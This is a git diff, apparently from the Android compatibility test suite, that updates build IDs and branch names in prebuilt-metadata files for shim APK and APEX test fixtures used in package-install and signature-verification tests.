Merge "Fix potential null string comparison." into tm-dev
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
index f866875..a9d7348 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/CtsShimPrivUpgradeWrongSHA.apk"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
index ccefcc1..62ab040 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/CtsShimPrivUpgrade.apk"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
index 264169d..a20b738 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/CtsShimPrivUpgradeWrongSHA.apk"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
index 543d7cc..3371432 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_x86_64/CtsShimPrivUpgrade.apk"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_not_pre_installed_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
index 6a1a592..7806ac3 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim_not_pre_installed.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
index c01e04d..280dc99 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v1.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
index 91c5d50..2b13a41 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_additional_file.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
index d7e36fc..c852f2c 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_additional_folder.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
index 849bab8..566d73d 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
index e59bbb1..7f394da 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb
new file mode 100644
index 0000000..c3b3d1c
--- /dev/null
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb
@@ -0,0 +1,15 @@
+drops {
+ android_build_drop {
+ build_id: "8572644"
+ target: "CtsShim"
+ source_file: "aosp_arm64/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex"
+ }
+ dest_file: "hostsidetests/stagedinstall/testdata/apex//arm/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex"
+ version: ""
+ version_group: ""
+ git_project: "platform/cts"
+ git_branch: "tm-dev"
+ transform: TRANSFORM_NONE
+ transform_options {
+ }
+}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
index 4aeed69..8ad7148 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_different_certificate.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
index 21717fc..c5bf540 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_different_package_name.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
index 74573f6..b43824e 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_no_hashtree.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_rebootless_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
index 5672e5c..86dd2d0 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_rebootless.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
index acc83c0..63e244b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_sdk_target_p.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
index 13268eb..d301677 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
index 355f90b..0a0fa3a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
index b840674..cde81d7 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob_rot.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
index 60a8a3e..4b7066b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
index c360e44..64f31fb 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_unsigned_payload.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
index 9941db2..6430590 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_with_post_install_hook.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
index e041816..b103b78 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_with_pre_install_hook.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
index 987a82a..b3f859b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_without_apk_in_apex.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
index 2531fbb..eced4cc 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v2_wrong_sha.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
index 6e6b103..f0a1f9a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v3.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_rebootless_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
index 655689a..d730662 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v3_rebootless.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
index ba0e7b8..f617b9a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v3_signed_bob.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
- git_branch: "sc-dev"
+ git_branch: "tm-dev"
transform: TRANSFORM_NONE
transform_options {
}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
index c470fe8..21a4921 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
drops {
android_build_drop {
- build_id: "7552332"
+ build_id: "8572644"
target: "CtsShim"
source_file: "aosp_arm64/com.android.apex.cts.shim.v3_signed_bob_rot.apex"
}
@@ -8,7 +8,7 @@
version: ""
version_group: ""
git_project: "platform/cts"
